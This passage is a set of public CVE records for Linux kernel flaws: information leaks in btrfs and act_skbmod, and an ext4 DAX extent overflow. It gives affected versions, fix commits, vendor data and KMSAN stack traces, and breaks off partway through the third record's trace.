Linux	Linux	Affected: 3.2 Unaffected: 0 , < 3.2 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.158 , ≤ 5.15.* (semver) Unaffected: 6.1.90 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.9 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35849",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-23T19:26:21.803612Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:01.668Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.438Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/689efe22e9b5b7d9d523119a9a5c3c17107a0772"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/73db209dcd4ae026021234d40cfcb2fb5b564b86"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/30189e54ba80e3209d34cfeea87b848f6ae025e6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e58047553a4e859dafc8d1d901e1de77c9dd922d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8bdbcfaf3eac42f98e5486b3d7e130fa287811f6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3a63cee1a5e14a3e52c19142c61dd5fcb524f6dc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fddc19631c51d9c17d43e9f822a7bc403af88d54"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2f7ef5bb4a2f3e481ef05fab946edb97c84f67cf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:16.683Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/btrfs/backref.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "689efe22e9b5b7d9d523119a9a5c3c17107a0772",
              "status": "affected",
              "version": "a542ad1bafc7df9fc16de8a6894b350a4df75572",
              "versionType": "git"
            },
            {
              "lessThan": "73db209dcd4ae026021234d40cfcb2fb5b564b86",
              "status": "affected",
              "version": "a542ad1bafc7df9fc16de8a6894b350a4df75572",
              "versionType": "git"
            },
            {
              "lessThan": "30189e54ba80e3209d34cfeea87b848f6ae025e6",
              "status": "affected",
              "version": "a542ad1bafc7df9fc16de8a6894b350a4df75572",
              "versionType": "git"
            },
            {
              "lessThan": "e58047553a4e859dafc8d1d901e1de77c9dd922d",
              "status": "affected",
              "version": "a542ad1bafc7df9fc16de8a6894b350a4df75572",
              "versionType": "git"
            },
            {
              "lessThan": "8bdbcfaf3eac42f98e5486b3d7e130fa287811f6",
              "status": "affected",
              "version": "a542ad1bafc7df9fc16de8a6894b350a4df75572",
              "versionType": "git"
            },
            {
              "lessThan": "3a63cee1a5e14a3e52c19142c61dd5fcb524f6dc",
              "status": "affected",
              "version": "a542ad1bafc7df9fc16de8a6894b350a4df75572",
              "versionType": "git"
            },
            {
              "lessThan": "fddc19631c51d9c17d43e9f822a7bc403af88d54",
              "status": "affected",
              "version": "a542ad1bafc7df9fc16de8a6894b350a4df75572",
              "versionType": "git"
            },
            {
              "lessThan": "2f7ef5bb4a2f3e481ef05fab946edb97c84f67cf",
              "status": "affected",
              "version": "a542ad1bafc7df9fc16de8a6894b350a4df75572",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/btrfs/backref.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.2"
            },
            {
              "lessThan": "3.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.158",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.90",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix information leak in btrfs_ioctl_logical_to_ino()\n\nSyzbot reported the following information leak for in\nbtrfs_ioctl_logical_to_ino():\n\n  BUG: KMSAN: kernel-infoleak in instrument_copy_to_user include/linux/instrumented.h:114 [inline]\n  BUG: KMSAN: kernel-infoleak in _copy_to_user+0xbc/0x110 lib/usercopy.c:40\n   instrument_copy_to_user include/linux/instrumented.h:114 [inline]\n   _copy_to_user+0xbc/0x110 lib/usercopy.c:40\n   copy_to_user include/linux/uaccess.h:191 [inline]\n   btrfs_ioctl_logical_to_ino+0x440/0x750 fs/btrfs/ioctl.c:3499\n   btrfs_ioctl+0x714/0x1260\n   vfs_ioctl fs/ioctl.c:51 [inline]\n   __do_sys_ioctl fs/ioctl.c:904 [inline]\n   __se_sys_ioctl+0x261/0x450 fs/ioctl.c:890\n   __x64_sys_ioctl+0x96/0xe0 fs/ioctl.c:890\n   x64_sys_call+0x1883/0x3b50 arch/x86/include/generated/asm/syscalls_64.h:17\n   do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n   do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83\n   entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\n  Uninit was created at:\n   __kmalloc_large_node+0x231/0x370 mm/slub.c:3921\n   __do_kmalloc_node mm/slub.c:3954 [inline]\n   __kmalloc_node+0xb07/0x1060 mm/slub.c:3973\n   kmalloc_node include/linux/slab.h:648 [inline]\n   kvmalloc_node+0xc0/0x2d0 mm/util.c:634\n   kvmalloc include/linux/slab.h:766 [inline]\n   init_data_container+0x49/0x1e0 fs/btrfs/backref.c:2779\n   btrfs_ioctl_logical_to_ino+0x17c/0x750 fs/btrfs/ioctl.c:3480\n   btrfs_ioctl+0x714/0x1260\n   vfs_ioctl fs/ioctl.c:51 [inline]\n   __do_sys_ioctl fs/ioctl.c:904 [inline]\n   __se_sys_ioctl+0x261/0x450 fs/ioctl.c:890\n   __x64_sys_ioctl+0x96/0xe0 fs/ioctl.c:890\n   x64_sys_call+0x1883/0x3b50 arch/x86/include/generated/asm/syscalls_64.h:17\n   do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n   do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83\n   entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\n  Bytes 40-65535 of 65536 are uninitialized\n  Memory access of size 65536 starts at ffff888045a40000\n\nThis happens, because we\u0027re copying a \u0027struct btrfs_data_container\u0027 back\nto user-space. This btrfs_data_container is allocated in\n\u0027init_data_container()\u0027 via kvmalloc(), which does not zero-fill the\nmemory.\n\nFix this by using kvzalloc() which zeroes out the memory on allocation."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:12:26.649Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/689efe22e9b5b7d9d523119a9a5c3c17107a0772"
        },
        {
          "url": "https://git.kernel.org/stable/c/73db209dcd4ae026021234d40cfcb2fb5b564b86"
        },
        {
          "url": "https://git.kernel.org/stable/c/30189e54ba80e3209d34cfeea87b848f6ae025e6"
        },
        {
          "url": "https://git.kernel.org/stable/c/e58047553a4e859dafc8d1d901e1de77c9dd922d"
        },
        {
          "url": "https://git.kernel.org/stable/c/8bdbcfaf3eac42f98e5486b3d7e130fa287811f6"
        },
        {
          "url": "https://git.kernel.org/stable/c/3a63cee1a5e14a3e52c19142c61dd5fcb524f6dc"
        },
        {
          "url": "https://git.kernel.org/stable/c/fddc19631c51d9c17d43e9f822a7bc403af88d54"
        },
        {
          "url": "https://git.kernel.org/stable/c/2f7ef5bb4a2f3e481ef05fab946edb97c84f67cf"
        }
      ],
      "title": "btrfs: fix information leak in btrfs_ioctl_logical_to_ino()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35849",
    "datePublished": "2024-05-17T14:47:27.486Z",
    "dateReserved": "2024-05-17T13:50:33.105Z",
    "dateUpdated": "2026-05-12T11:52:16.683Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50015 (GCVE-0-2024-50015)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:54 – Updated: 2026-05-12 11:59

Title

ext4: dax: fix overflowing extents beyond inode size when partially writing

Summary

In the Linux kernel, the following vulnerability has been resolved: ext4: dax: fix overflowing extents beyond inode size when partially writing The dax_iomap_rw() does two things in each iteration: map written blocks and copy user data to blocks. If the process is killed by user(See signal handling in dax_iomap_iter()), the copied data will be returned and added on inode size, which means that the length of written extents may exceed the inode size, then fsck will fail. An example is given as: dd if=/dev/urandom of=file bs=4M count=1 dax_iomap_rw iomap_iter // round 1 ext4_iomap_begin ext4_iomap_alloc // allocate 0~2M extents(written flag) dax_iomap_iter // copy 2M data iomap_iter // round 2 iomap_iter_advance iter->pos += iter->processed // iter->pos = 2M ext4_iomap_begin ext4_iomap_alloc // allocate 2~4M extents(written flag) dax_iomap_iter fatal_signal_pending done = iter->pos - iocb->ki_pos // done = 2M ext4_handle_inode_extension ext4_update_inode_size // inode size = 2M fsck reports: Inode 13, i_size is 2097152, should be 4194304. Fix? Fix the problem by truncating extents if the written length is smaller than expected.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/f8a7c342326f6ad1d…
https://git.kernel.org/stable/c/8c30a9a8610c31455…
https://git.kernel.org/stable/c/abfaa876b948baaea…
https://git.kernel.org/stable/c/5efccdee4a7d507a4…
https://git.kernel.org/stable/c/a9f331f51515bdb3e…
https://git.kernel.org/stable/c/ec0dd451e236c46e4…
https://git.kernel.org/stable/c/dda898d7ffe85931f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 776722e85d3b0936253ecc3d14db4fba37f191ba , < f8a7c342326f6ad1dfdb30a18dd013c70f5e9669 (git) Affected: 776722e85d3b0936253ecc3d14db4fba37f191ba , < 8c30a9a8610c314554997f86370140746aa35661 (git) Affected: 776722e85d3b0936253ecc3d14db4fba37f191ba , < abfaa876b948baaea4d14f21a1963789845c8b4c (git) Affected: 776722e85d3b0936253ecc3d14db4fba37f191ba , < 5efccdee4a7d507a483f20f880b809cc4eaef14d (git) Affected: 776722e85d3b0936253ecc3d14db4fba37f191ba , < a9f331f51515bdb3ebc8d0963131af367ef468f6 (git) Affected: 776722e85d3b0936253ecc3d14db4fba37f191ba , < ec0dd451e236c46e4858d53e9e82bae7797a7af5 (git) Affected: 776722e85d3b0936253ecc3d14db4fba37f191ba , < dda898d7ffe85931f9cca6d702a51f33717c501e (git)
Linux	Linux	Affected: 4.10 Unaffected: 0 , < 4.10 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50015",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:28:08.580885Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:28:48.148Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:30.667Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:48.118Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/file.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f8a7c342326f6ad1dfdb30a18dd013c70f5e9669",
              "status": "affected",
              "version": "776722e85d3b0936253ecc3d14db4fba37f191ba",
              "versionType": "git"
            },
            {
              "lessThan": "8c30a9a8610c314554997f86370140746aa35661",
              "status": "affected",
              "version": "776722e85d3b0936253ecc3d14db4fba37f191ba",
              "versionType": "git"
            },
            {
              "lessThan": "abfaa876b948baaea4d14f21a1963789845c8b4c",
              "status": "affected",
              "version": "776722e85d3b0936253ecc3d14db4fba37f191ba",
              "versionType": "git"
            },
            {
              "lessThan": "5efccdee4a7d507a483f20f880b809cc4eaef14d",
              "status": "affected",
              "version": "776722e85d3b0936253ecc3d14db4fba37f191ba",
              "versionType": "git"
            },
            {
              "lessThan": "a9f331f51515bdb3ebc8d0963131af367ef468f6",
              "status": "affected",
              "version": "776722e85d3b0936253ecc3d14db4fba37f191ba",
              "versionType": "git"
            },
            {
              "lessThan": "ec0dd451e236c46e4858d53e9e82bae7797a7af5",
              "status": "affected",
              "version": "776722e85d3b0936253ecc3d14db4fba37f191ba",
              "versionType": "git"
            },
            {
              "lessThan": "dda898d7ffe85931f9cca6d702a51f33717c501e",
              "status": "affected",
              "version": "776722e85d3b0936253ecc3d14db4fba37f191ba",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/file.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.10"
            },
            {
              "lessThan": "4.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: dax: fix overflowing extents beyond inode size when partially writing\n\nThe dax_iomap_rw() does two things in each iteration: map written blocks\nand copy user data to blocks. If the process is killed by user(See signal\nhandling in dax_iomap_iter()), the copied data will be returned and added\non inode size, which means that the length of written extents may exceed\nthe inode size, then fsck will fail. An example is given as:\n\ndd if=/dev/urandom of=file bs=4M count=1\n dax_iomap_rw\n  iomap_iter // round 1\n   ext4_iomap_begin\n    ext4_iomap_alloc // allocate 0~2M extents(written flag)\n  dax_iomap_iter // copy 2M data\n  iomap_iter // round 2\n   iomap_iter_advance\n    iter-\u003epos += iter-\u003eprocessed // iter-\u003epos = 2M\n   ext4_iomap_begin\n    ext4_iomap_alloc // allocate 2~4M extents(written flag)\n  dax_iomap_iter\n   fatal_signal_pending\n  done = iter-\u003epos - iocb-\u003eki_pos // done = 2M\n ext4_handle_inode_extension\n  ext4_update_inode_size // inode size = 2M\n\nfsck reports: Inode 13, i_size is 2097152, should be 4194304.  Fix?\n\nFix the problem by truncating extents if the written length is smaller\nthan expected."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:43:53.836Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f8a7c342326f6ad1dfdb30a18dd013c70f5e9669"
        },
        {
          "url": "https://git.kernel.org/stable/c/8c30a9a8610c314554997f86370140746aa35661"
        },
        {
          "url": "https://git.kernel.org/stable/c/abfaa876b948baaea4d14f21a1963789845c8b4c"
        },
        {
          "url": "https://git.kernel.org/stable/c/5efccdee4a7d507a483f20f880b809cc4eaef14d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a9f331f51515bdb3ebc8d0963131af367ef468f6"
        },
        {
          "url": "https://git.kernel.org/stable/c/ec0dd451e236c46e4858d53e9e82bae7797a7af5"
        },
        {
          "url": "https://git.kernel.org/stable/c/dda898d7ffe85931f9cca6d702a51f33717c501e"
        }
      ],
      "title": "ext4: dax: fix overflowing extents beyond inode size when partially writing",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50015",
    "datePublished": "2024-10-21T18:54:06.465Z",
    "dateReserved": "2024-10-21T12:17:06.062Z",
    "dateUpdated": "2026-05-12T11:59:48.118Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35893 (GCVE-0-2024-35893)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

net/sched: act_skbmod: prevent kernel-infoleak

Summary

In the Linux kernel, the following vulnerability has been resolved: net/sched: act_skbmod: prevent kernel-infoleak syzbot found that tcf_skbmod_dump() was copying four bytes from kernel stack to user space [1]. The issue here is that 'struct tc_skbmod' has a four bytes hole. We need to clear the structure before filling fields. [1] BUG: KMSAN: kernel-infoleak in instrument_copy_to_user include/linux/instrumented.h:114 [inline] BUG: KMSAN: kernel-infoleak in copy_to_user_iter lib/iov_iter.c:24 [inline] BUG: KMSAN: kernel-infoleak in iterate_ubuf include/linux/iov_iter.h:29 [inline] BUG: KMSAN: kernel-infoleak in iterate_and_advance2 include/linux/iov_iter.h:245 [inline] BUG: KMSAN: kernel-infoleak in iterate_and_advance include/linux/iov_iter.h:271 [inline] BUG: KMSAN: kernel-infoleak in _copy_to_iter+0x366/0x2520 lib/iov_iter.c:185 instrument_copy_to_user include/linux/instrumented.h:114 [inline] copy_to_user_iter lib/iov_iter.c:24 [inline] iterate_ubuf include/linux/iov_iter.h:29 [inline] iterate_and_advance2 include/linux/iov_iter.h:245 [inline] iterate_and_advance include/linux/iov_iter.h:271 [inline] _copy_to_iter+0x366/0x2520 lib/iov_iter.c:185 copy_to_iter include/linux/uio.h:196 [inline] simple_copy_to_iter net/core/datagram.c:532 [inline] __skb_datagram_iter+0x185/0x1000 net/core/datagram.c:420 skb_copy_datagram_iter+0x5c/0x200 net/core/datagram.c:546 skb_copy_datagram_msg include/linux/skbuff.h:4050 [inline] netlink_recvmsg+0x432/0x1610 net/netlink/af_netlink.c:1962 sock_recvmsg_nosec net/socket.c:1046 [inline] sock_recvmsg+0x2c4/0x340 net/socket.c:1068 __sys_recvfrom+0x35a/0x5f0 net/socket.c:2242 __do_sys_recvfrom net/socket.c:2260 [inline] __se_sys_recvfrom net/socket.c:2256 [inline] __x64_sys_recvfrom+0x126/0x1d0 net/socket.c:2256 do_syscall_64+0xd5/0x1f0 entry_SYSCALL_64_after_hwframe+0x6d/0x75 Uninit was stored to memory at: pskb_expand_head+0x30f/0x19d0 net/core/skbuff.c:2253 netlink_trim+0x2c2/0x330 net/netlink/af_netlink.c:1317 netlink_unicast+0x9f/0x1260 net/netlink/af_netlink.c:1351 nlmsg_unicast include/net/netlink.h:1144 [inline] nlmsg_notify+0x21d/0x2f0 net/netlink/af_netlink.c:2610 rtnetlink_send+0x73/0x90 net/core/rtnetlink.c:741 rtnetlink_maybe_send include/linux/rtnetlink.h:17 [inline] tcf_add_notify net/sched/act_api.c:2048 [inline] tcf_action_add net/sched/act_api.c:2071 [inline] tc_ctl_action+0x146e/0x19d0 net/sched/act_api.c:2119 rtnetlink_rcv_msg+0x1737/0x1900 net/core/rtnetlink.c:6595 netlink_rcv_skb+0x375/0x650 net/netlink/af_netlink.c:2559 rtnetlink_rcv+0x34/0x40 net/core/rtnetlink.c:6613 netlink_unicast_kernel net/netlink/af_netlink.c:1335 [inline] netlink_unicast+0xf4c/0x1260 net/netlink/af_netlink.c:1361 netlink_sendmsg+0x10df/0x11f0 net/netlink/af_netlink.c:1905 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x30f/0x380 net/socket.c:745 ____sys_sendmsg+0x877/0xb60 net/socket.c:2584 ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2638 __sys_sendmsg net/socket.c:2667 [inline] __do_sys_sendmsg net/socket.c:2676 [inline] __se_sys_sendmsg net/socket.c:2674 [inline] __x64_sys_sendmsg+0x307/0x4a0 net/socket.c:2674 do_syscall_64+0xd5/0x1f0 entry_SYSCALL_64_after_hwframe+0x6d/0x75 Uninit was stored to memory at: __nla_put lib/nlattr.c:1041 [inline] nla_put+0x1c6/0x230 lib/nlattr.c:1099 tcf_skbmod_dump+0x23f/0xc20 net/sched/act_skbmod.c:256 tcf_action_dump_old net/sched/act_api.c:1191 [inline] tcf_action_dump_1+0x85e/0x970 net/sched/act_api.c:1227 tcf_action_dump+0x1fd/0x460 net/sched/act_api.c:1251 tca_get_fill+0x519/0x7a0 net/sched/act_api.c:1628 tcf_add_notify_msg net/sched/act_api.c:2023 [inline] tcf_add_notify net/sched/act_api.c:2042 [inline] tcf_action_add net/sched/act_api.c:2071 [inline] tc_ctl_action+0x1365/0x19d0 net/sched/act_api.c:2119 rtnetlink_rcv_msg+0x1737/0x1900 net/core/rtnetlink.c:6595 